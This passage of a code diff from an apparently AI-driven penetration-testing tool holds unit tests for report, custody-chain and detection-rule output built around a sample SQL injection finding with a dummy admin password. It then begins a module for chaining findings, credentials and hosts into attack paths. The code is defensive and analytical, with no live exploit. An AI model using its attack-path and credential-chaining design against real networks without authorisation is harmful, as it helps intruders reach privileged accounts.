f.evidence_data.as_mut().unwrap(); + ev.marker.clear(); + assert!(TestCase::from_finding(&f).is_none()); + // A control with a different status is an honest oracle. + let mut g = sqli_finding(); + let ev = g.evidence_data.as_mut().unwrap(); + ev.marker.clear(); + ev.baseline.as_mut().unwrap().status = 401; + let t = TestCase::from_finding(&g).expect("status oracle"); + assert!(t.signature.is_none()); + } + + #[test] + fn credentials_never_reach_detection_or_executive_summary() { + let mut f = sqli_finding(); + f.title = "Credential reuse via SQLi-leaked admin password logs into /admin".into(); + f.cwe = "CWE-522".into(); + f.payload = "username=admin&password=Hunter2Secret".into(); + f.business_impact = "Attacker logs in as admin with Hunter2Secret".into(); + f.severity = "Critical".into(); + let (sig, modsec, siem) = detection(&[&f]); + for (_, body) in &sig { + assert!(!body.contains("Hunter2Secret")); + } + assert!(!modsec.contains("Hunter2Secret") && !siem.contains("Hunter2Secret")); + assert!(!persona_executive("https://t.test", &[f]).contains("Hunter2Secret")); + } + + #[test] + fn custody_hashes_narrative_instead_of_copying_it() { + let mut f = sqli_finding(); + f.evidence = "dumped users: admin / Hunter2Secret".into(); + let (md, _) = custody("https://t.test", &[&f]); + assert!(!md.contains("Hunter2Secret")); + assert!(md.contains("agent narrative:") && md.contains("sha256")); + } + + #[test] + fn differential_shows_control_and_attack() { + let md = differential_for(&sqli_finding()); + assert!(md.contains("control (no payload)")); + assert!(md.contains("**attack**")); + assert!(md.contains("Reproducibility")); + } + + #[test] + fn custody_chain_changes_when_evidence_changes() { + let f1 = sqli_finding(); + let mut f2 = sqli_finding(); + f2.evidence_data.as_mut().unwrap().attack.as_mut().unwrap().body.push('x'); + let (_, j1) = custody("https://t.test", &[&f1]); + let (_, j2) = custody("https://t.test", &[&f2]); + let h1: serde_json::Value = serde_json::from_str(&j1).unwrap(); + let h2: serde_json::Value = serde_json::from_str(&j2).unwrap(); + assert_ne!(h1["head"], h2["head"], "tampering must change the chain head"); + assert_eq!(h1["genesis"], h2["genesis"]); + } + + #[test] + fn finding_without_evidence_is_flagged_not_faked() { + let f = Finding { title: "Narrative only".into(), severity: "Low".into(), ..Default::default() }; + assert!(TestCase::from_finding(&f).is_none(), "no evidence → no test is invented"); + assert!(differential_for(&f).contains("cannot be shown against a negative control")); + } + + #[test] + fn sigma_and_modsec_for_injection() { + let (sig, modsec, siem) = detection(&[&sqli_finding()]); + assert_eq!(sig.len(), 1); + assert!(sig[0].1.contains("cs-uri-query|contains")); + assert!(modsec.contains("SecRule REQUEST_FILENAME")); + assert!(siem.contains("Splunk")); + } + + #[test] + fn rejected_findings_are_left_out() { + let mut f = sqli_finding(); + f.review_status = "rejected".into(); + let d = tmp("rej"); + write_all("https://t.test", &[f], &d).unwrap(); + assert!(!d.join("deliverables/tests/test_vuln-123.py").exists()); + let _ = std::fs::remove_dir_all(&d); + } +} diff --git a/neurosploit-rs/crates/harness/src/graph_memory.rs b/neurosploit-rs/crates/harness/src/graph_memory.rs new file mode 100644 index 0000000..4a55090 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/graph_memory.rs @@ -0,0 +1,2601 @@ +//! Graph memory & attack-path reasoning — web and internal network in one graph. +//! +//! NeuroSploit already keeps three graphs, each good at one thing: +//! [`crate::knowledge_graph`] (what was learned about a target, across runs), +//! [`crate::internal`] (hosts, identities, credentials and the AD credential +//! loop) and [`crate::chain`] (which finding hands which capability to which). +//! This layer projects all three into a single typed schema — the one an +//! analyst would draw in Neo4j — and reasons over it: +//! +//! - **local vs chain severity.** A finding has a local severity. A path from it +//! to a business impact, a crown-jewel asset or a privileged identity has a +//! chain severity, and the chain severity is only *raised* when every step of +//! the path is evidenced. An unproven path keeps the local severity and states +//! what it would become, and what evidence would prove it. +//! - **status.** `confirmed` (every finding confirmed and every edge evidenced), +//! `needs_validation` (findings real, a link between them derived or +//! unproven) or `hypothesis` (rests on an unconfirmed finding). +//! - **decision support.** The chains and the missing evidence become the next +//! moves fed to the attack-chaining rounds, so exploration goes where a +//! validated edge would complete the highest-value path. +//! +//! It works with no database at all: projection, reasoning and a Cypher export +//! are in-process. When Neo4j is configured (`--neo4j` or `NEO4J_URI`, with +//! `NEO4J_USER`/`NEO4J_PASSWORD`), the graph is MERGEd into it through the HTTP +//! transactional API with parameterised statements, and paths accumulated across +//! runs and engagements are read back into the same reasoning. +//! +//! Data minimisation is a hard rule here: no raw secret, token, cookie, +//! password, response body or narrative ever becomes a graph property. Secrets +//! are fingerprints, identities with personal data are masked, endpoints lose +//! their query strings, and evidence is referenced by hash. + +use crate::internal::{InternalGraph, Kind as IKind, Layer as ILayer}; +use crate::knowledge_graph::{EdgeKind as KEdge, KnowledgeGraph, NodeKind as KKind}; +use crate::types::Finding; +use crate::validation::{Evidence, Exchange}; +use serde_json::{json, Value}; +use sha2::{Digest, Sha256}; +use std::collections::{BTreeMap, BTreeSet, HashMap, HashSet}; +use std::fmt::Write as _; + +// --------------------------------------------------------------------------- +// Schema + +/// Node labels. Closed set: labels are never built from data, so a Cypher +/// statement can only ever name one of these. +#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, PartialOrd, Ord)] +pub enum Label { + Target, + Asset, + Host, + IPAddress, + Domain, + Service, + Endpoint, + Technology, + Vulnerability, + Finding, + Evidence, + Credential, + Identity, + Role, + Permission, + Secret, + ExploitAttempt, + ValidationResult, + AttackStep, + AttackPath, + BusinessImpact, + Control, + Mitigation, +} + +impl Label { + pub const ALL: [Label; 23] = [ + Label::Target, Label::Asset, Label::Host, Label::IPAddress, Label::Domain, Label::Service, + Label::Endpoint, Label::Technology, Label::Vulnerability, Label::Finding, Label::Evidence, + Label::Credential, Label::Identity, Label::Role, Label::Permission, Label::Secret, + Label::ExploitAttempt, Label::ValidationResult, Label::AttackStep, Label::AttackPath, + Label::BusinessImpact, Label::Control, Label::Mitigation, + ]; + pub fn as_str(self) -> &'static str { + match self { + Label::Target => "Target", + Label::Asset => "Asset", + Label::Host => "Host", + Label::IPAddress => "IPAddress", + Label::Domain => "Domain", + Label::Service => "Service", + Label::Endpoint => "Endpoint", + Label::Technology => "Technology", + Label::Vulnerability => "Vulnerability", + Label::Finding => "Finding", + Label::Evidence => "Evidence", + Label::Credential => "Credential", + Label::Identity => "Identity", + Label::Role => "Role", + Label::Permission => "Permission", + Label::Secret => "Secret", + Label::ExploitAttempt => "ExploitAttempt", + Label::ValidationResult => "ValidationResult", + Label::AttackStep => "AttackStep", + Label::AttackPath => "AttackPath", + Label::BusinessImpact => "BusinessImpact", + Label::Control => "Control", + Label::Mitigation => "Mitigation", + } + } + pub fn parse(s: &str) -> Option